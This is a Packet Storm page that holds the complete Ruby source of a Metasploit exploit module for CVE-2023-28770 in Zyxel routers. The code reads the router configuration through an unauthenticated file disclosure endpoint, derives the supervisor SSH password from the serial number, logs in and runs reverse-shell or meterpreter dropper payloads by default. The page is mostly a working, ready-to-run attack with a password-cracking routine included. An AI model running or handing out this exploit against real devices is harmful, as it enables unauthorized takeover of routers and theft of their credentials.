exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Zyxel Chained Remote Code Execution

Zyxel Chained Remote Code Execution
Posted May 10, 2023
Authored by Thomas Rinsma, h00die-gr3y, Bogi Napoleon Wennerstrom | Site metasploit.com

This Metasploit module exploits multiple vulnerabilities in the zhttpd binary (/bin/zhttpd) and zcmd binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices. The remote code execution vulnerability can be exploited by chaining the local file disclosure vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration of the router via the vulnerable endpoint /Export_Log?/data/zcfg_config.json. With this information disclosure, the attacker can determine if the router is reachable via ssh and use the second vulnerability in the zcmd binary to derive the supervisor password exploiting a weak implementation of a password derivation algorithm using the device serial number. After exploitation, an attacker will be able to execute any command as user supervisor.

tags | exploit, remote, local, vulnerability, code execution, info disclosure
advisories | CVE-2023-28770
SHA-256 | 9a3aef1a073115f56b28eb2aec9260df77503937d00eeca46fde8494010d2467

Zyxel Chained Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'socket'
require 'digest/md5'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::SSH
include Msf::Exploit::CmdStager
prepend Msf::Exploit::Remote::AutoCheck

attr_accessor :ssh_socket

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Zyxel chained RCE using LFI and weak password derivation algorithm',
'Description' => %q{
This module exploits multiple vulnerabilities in the `zhttpd` binary (/bin/zhttpd)
and `zcmd` binary (/bin/zcmd). It is present on more than 40 Zyxel routers and CPE devices.
The remote code execution vulnerability can be exploited by chaining the local file disclosure
vulnerability in the zhttpd binary that allows an unauthenticated attacker to read the entire configuration
of the router via the vulnerable endpoint `/Export_Log?/data/zcfg_config.json`.
With this information disclosure, the attacker can determine if the router is reachable via ssh
and use the second vulnerability in the `zcmd` binary to derive the `supervisor` password exploiting
a weak implementation of a password derivation algorithm using the device serial number.

After exploitation, an attacker will be able to execute any command as user `supervisor`.
},
'License' => MSF_LICENSE,
'Author' => [
'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Author of exploit chain and MSF module contributor
'SEC Consult Vulnerability Lab',
'Thomas Rinsma',
'Bogi Napoleon Wennerstrøm'
],
'References' => [
['CVE', '2023-28770'],
['URL', 'https://r.sec-consult.com/zyxsploit'],
['URL', 'https://sec-consult.com/vulnerability-lab/advisory/multiple-critical-vulnerabilities-in-multiple-zyxel-devices/'],
['URL', 'https://th0mas.nl/2020/03/26/getting-root-on-a-zyxel-vmg8825-t50-router/'],
['URL', 'https://github.com/boginw/zyxel-vmg8825-keygen'],
['URL', 'https://attackerkb.com/topics/tPAvkwQgDK/cve-2023-28770']
],
'DisclosureDate' => '2022-02-01',
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_MIPSBE],
'Privileged' => true,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_MIPSBE],
'Type' => :linux_dropper,
'CmdStagerFlavor' => ['printf', 'echo', 'bourne', 'wget', 'curl'],
'DefaultOptions' => {
'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
}
}
],
[
'Interactive SSH',
{
'DefaultOptions' => {
'PAYLOAD' => 'generic/ssh/interact'
},
'Payload' => {
'Compat' => {
'PayloadType' => 'ssh_interact'
}
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'SSH_TIMEOUT' => 30,
'WfsDelay' => 5
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
register_options(
[
OptBool.new('STORE_CRED', [false, 'Store credentials into the database.', true])
]
)
register_advanced_options(
[
OptInt.new('ConnectTimeout', [ true, 'Maximum number of seconds to establish a TCP connection', 10])
]
)
end

# supervisor user password derivation functions (SerialNumMethod2 and 3) for Zyxel routers
# based on the reverse engineer analysis of Thomas Rinsma and Bogi Napoleon Wennerstrøm
# https://github.com/boginw/zyxel-vmg8825-keygen

def double_hash(input, size = 8)
# ROUND 1
# take the MD5 hash from the serial number SXXXXXXXXXXXX
# this returns a hash of 32 char bytes.
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
# store two char bytes in round1 and continue with next two char bytes from the hash.
md5_str_array = Digest::MD5.hexdigest(input).split(//)
round1_str_array = Array.new(32)
j = 0
until j == 32
if md5_str_array[j] == '0'
round1_str_array[j] = md5_str_array[j + 1]
else
round1_str_array[j] = md5_str_array[j]
end
round1_str_array[j + 1] = md5_str_array[j + 1]
j += 2
end
round1 = round1_str_array.join
# ROUND 2
# take the MD5 hash from the result of round1
# returns a hash of 32 char bytes.
# read md5 hash per two char bytes, check if first char byte = '0', then make first byte char == second byte char
# store two char bytes in round2 and continue with next two char bytes.
md5_str_array = Digest::MD5.hexdigest(round1).split(//)
round2_str_array = Array.new(32)
j = 0
until j == 32
if md5_str_array[j] == '0'
round2_str_array[j] = md5_str_array[j + 1]
else
round2_str_array[j] = md5_str_array[j]
end
round2_str_array[j + 1] = md5_str_array[j + 1]
j += 2
end
# ROUND 3
# take the result of round2 and pick the number (size) of char bytes starting with indice [0] and increased by 3
# to create the final password hash with defined number (size) of alphanumeric characters and return the final result
round3_str_array = Array.new(size)
for i in 0..(size - 1) do
round3_str_array[i] = round2_str_array[i * 3]
end
round3 = round3_str_array.join
return round3
end

def mod3_key_generator(seed)
# key generator function used in the SerialNumMethod3 pasword derivation function
round4_array = Array.new(16, 0)
found0s = 0
found1s = 0
found2s = 0

while (found0s == 0) || (found1s == 0) || (found2s == 0)
found0s = 0
found1s = 0
found2s = 0

power_of_2 = 1
seed += 1

for i in 0..9 do
round4_array[i] = (seed % (power_of_2 * 3) / power_of_2).floor
if (round4_array[i] == 1)
found1s += 1
elsif (round4_array[i]) == 2
found2s += 1
else
found0s += 1
end
power_of_2 = power_of_2 << 1
end
end
return seed, round4_array
end

def serial_num_method2(serial_number)
# SerialNumMethod2 password derivation function
pwd = double_hash(serial_number)
return pwd
end

def serial_num_method3(serial_number)
# SerialNumMethod3 password derivation function

# constant definitions
keystr1_byte_array = 'IO'.bytes.to_a
keystr2_byte_array = 'lo'.bytes.to_a
keystr3_byte_array = '10'.bytes.to_a
valstr_byte_array = '23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF'.bytes.to_a
offset1 = 0x8
offset2 = 0x20

round3 = double_hash(serial_number, 10)
round3.upcase!
round3_byte_array = round3.bytes.to_a

md5_str = Digest::MD5.hexdigest(serial_number)
md5_str_array = md5_str.split(//)
offset = md5_str_array[2] + md5_str_array[3] + md5_str_array[4] + md5_str_array[5]

result = mod3_key_generator(offset.to_i(16))
offset = result[0]
round4 = result[1]

for i in 0..9 do
if round4[i] == 1
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'A'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr1_byte_array[j])

index = offset1 + ((offset + j) % 0x18)
round3_byte_array[i] = valstr_byte_array[index]
break
end
elsif round4[i] == 2
new_val = (((round3_byte_array[i] % 0x1a) * 0x1000000) >> 0x18) + 'a'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr2_byte_array[j])

index = offset2 + ((offset + j) % 0x18)
round3_byte_array[i] = valstr_byte_array[index]
break
end
else
new_val = (((round3_byte_array[i] % 10) * 0x1000000) >> 0x18) + '0'.bytes.join.to_i
round3_byte_array[i] = new_val
for j in 0..1 do
next unless (round3_byte_array[i] == keystr3_byte_array[j])

var = ((offset + j) >> 0x1f) >> 0x1d
index = ((offset + j + var) & 7) - var
round3_byte_array[i] = valstr_byte_array[index]
break
end
end
end
pwd = round3_byte_array.pack('C*')
return pwd
end

def crack_supervisor_pwd(serial)
# crack supervisor password using the device serial number
# there are two confirmed hashing functions that can derive the supervisor password from the serial number:
# SerialNumMethod2 and SerialNumMethod3
# both passwords candidates will be returned as hashes

hash_pwd = { 'method2' => nil, 'method3' => nil }
# SerialNumMethod2
hash_pwd['method2'] = serial_num_method2(serial)
# SerialNumMethod3
hash_pwd['method3'] = serial_num_method3(serial)

print_status("Derived supervisor password using SerialNumMethod2: #{hash_pwd['method2']}")
print_status("Derived supervisor password using SerialNumMethod3: #{hash_pwd['method3']}")
return hash_pwd
end

def report_creds(user, pwd)
credential_data = {
module_fullname: fullname,
username: user,
private_data: pwd,
private_type: :password,
workspace_id: myworkspace_id,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)

cred_res = create_credential_and_login(credential_data)
unless cred_res.nil?
print_status("Credentials for user:#{user} are added to the database.")
end
end

def get_configuration
# Get the device configuration by exploiting the LFI vulnerability
return send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, '/Export_Log?/data/zcfg_config.json')
})
end

# Initiate the process configuration exception class used in the process_configuration function
class ProcessConfigException < StandardError
attr_reader :exception_type

def initialize(msg = 'This is my custom process config exception', exception_type = 'custom')
@exception_type = exception_type
super(msg)
end
end

def process_configuration(res)
# Initiate the instance variable config to store the configuration
@config = {}

# Parse the device configuration json file
res_json = res.get_json_document
if res_json.blank?
raise ProcessConfigException.new 'No device configuration file found.', 'ConfigUnknown'
end

# process json output and retrieve information about supervisor user, ssh port and ssh WAN service status
# Also grab hardware and software version including the serial number to crack the password of user supervisor
@config['hardware'] = res_json.dig('DeviceInfo', 'HardwareVersion')
@config['software'] = res_json.dig('DeviceInfo', 'SoftwareVersion')
@config['serial'] = res_json.dig('DeviceInfo', 'SerialNumber')

login_cfg = res_json.dig('X_ZYXEL_LoginCfg', 'LogGp')
unless login_cfg.nil?
@config['ssh_user'] = login_cfg.select { |l| l['Account']&.select { |a| a['Username'] == 'supervisor' } }.blank? ? nil : 'supervisor'
end

remote_service = res_json.dig('X_ZYXEL_RemoteManagement', 'Service')
unless remote_service.nil?
service = remote_service.select { |s| s['Name'] == 'SSH' }.first
if service&.fetch('Name', nil) == 'SSH'
@config['ssh_port'] = service['Port']
@config['ssh_wan_access'] = service['Mode']
@config['ssh_service_enabled'] = service['Enable']
end
end
print_status("Hardware:#{@config['hardware']} Firmware:#{@config['software']} Serial:#{@config['serial']}")

# check if all hash key/value pairs are populated and raise exceptions if retrieved config is not vulnerable
if @config['serial'].nil? || @config['ssh_user'].nil? || @config['ssh_port'].nil? || @config['ssh_wan_access'].nil? || @config['ssh_service_enabled'].nil?
raise ProcessConfigException.new 'Device serial, supervisor user, SSH port, or SSH WAN access/service status not found.', 'ConfigUnknown'
end

# check if ssh service is enabled
# if true then check ssh_port is open and ssh service is accessible from the WAN side
if @config['ssh_service_enabled']
if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])
return
else
raise ProcessConfigException.new "WAN access to SSH service is NOT allowed or SSH port #{@config['ssh_port']} is closed. Try exploit from the LAN side.", 'ConfigUnreachable'
end
else
raise ProcessConfigException.new 'SSH service is NOT available.', 'ConfigNotVulnerable'
end
end

def execute_command(cmd, _opts = {})
Timeout.timeout(datastore['WfsDelay']) { ssh_socket.exec!(cmd) }
rescue Timeout::Error
@timeout = true
end

def do_login(ip, user, pass, ssh_port)
# create SSH session and login
# if login is successfull, return true else return false. All other errors will trigger an immediate fail
opts = ssh_client_defaults.merge({
auth_methods: ['password', 'keyboard-interactive'],
port: ssh_port,
password: pass
})

opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']

begin
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
self.ssh_socket = Net::SSH.start(ip, user, opts)
end
rescue Rex::ConnectionError
fail_with(Failure::Unreachable, 'Disconnected during negotiation')
rescue Net::SSH::Disconnect, ::EOFError
fail_with(Failure::Disconnected, 'Timed out during negotiation')
rescue Net::SSH::AuthenticationFailed
return false
rescue Net::SSH::Exception => e
fail_with(Failure::Unknown, "SSH Error: #{e.class} : #{e.message}")
end

fail_with(Failure::Unknown, 'Failed to start SSH socket') unless ssh_socket
return true
end

def check_port(port)
# checks network port and return true if open and false if closed.
Timeout.timeout(datastore['ConnectTimeout']) do
TCPSocket.new(datastore['RHOST'], port).close
return true
rescue StandardError
return false
end
rescue Timeout::Error
return false
end

def check
# Initiate the instance variable config to store the configuration
# @config = { 'hardware' => nil, 'software' => nil, 'serial' => nil, 'ssh_user' => nil, 'ssh_port' => nil, 'ssh_wan_access' => nil, 'ssh_service_enabled' => nil }

res = get_configuration
return CheckCode::Safe if res.nil? || res.code != 200

begin
process_configuration(res)
rescue ProcessConfigException => e
case e.exception_type
when 'ConfigNotVulnerable', 'ConfigUnreachable'
return CheckCode::Safe(e.message)
when 'ConfigUnknown'
return CheckCode::Unknown(e.message)
end
end
return CheckCode::Vulnerable
end

def exploit
# run if AutoCheck is false (@config = nil), otherwise use the information in @config gathered during the check method
unless @config
res = get_configuration
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.') if res.nil? || res.code != 200

begin
process_configuration(res)
rescue ProcessConfigException => e
case e.exception_type
when 'ConfigNotVulnerable'
return fail_with(Failure::NotVulnerable, e.message)
when 'ConfigUnreachable'
return fail_with(Failure::Unreachable, e.message)
when 'ConfigUnknown'
return fail_with(Failure::Unknown, e.message)
end
end
end

# extra checks added to handle ForceExploit true setting
if @config['ssh_service_enabled']
if @config['ssh_wan_access'] == 'LAN_WAN' && check_port(@config['ssh_port'])
print_status("SSH service is available and SSH Port #{@config['ssh_port']} is open. Continue to login.")
else
fail_with(Failure::Unreachable, 'SSH service is not availabe and/or SSH port is closed.')
end
else
fail_with(Failure::BadConfig, 'SSH service and/or SSH port information is missing.')
end

# derive supervisor password candidates using password derivation method SerialNumMethod2 and SerialNumMethod3
if @config['serial'].nil?
fail_with(Failure::BadConfig, 'Serial device number is missing to crack the supervisor password.')
else
supervisor_pwd = crack_supervisor_pwd(@config['serial'])
end

# try supervisor password derived by SerialNumMethod3 first, if it fails then try the password derived by SerialNumMethod2
if do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method3'], @config['ssh_port'])
print_status('Authentication with derived supervisor password using Method3 is successful.')
report_creds(@config['ssh_user'], supervisor_pwd['method3']) if datastore['STORE_CRED']
elsif do_login(datastore['RHOST'], @config['ssh_user'], supervisor_pwd['method2'], @config['ssh_port'])
print_status('Authentication with derived supervisor password using Method2 is successful.')
report_creds(@config['ssh_user'], supervisor_pwd['method2']) if datastore['STORE_CRED']
else
fail_with(Failure::NoAccess, 'Both supervisor password derivation methods failed to authenticate.')
end

if target.name == 'Interactive SSH'
handler(ssh_socket)
return
end

print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
# Don't check the response here since the server won't respond
# if the payload is successfully executed.
execute_cmdstager(linemax: 500)
end
@timeout ? ssh_socket.shutdown! : ssh_socket.close
end
end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close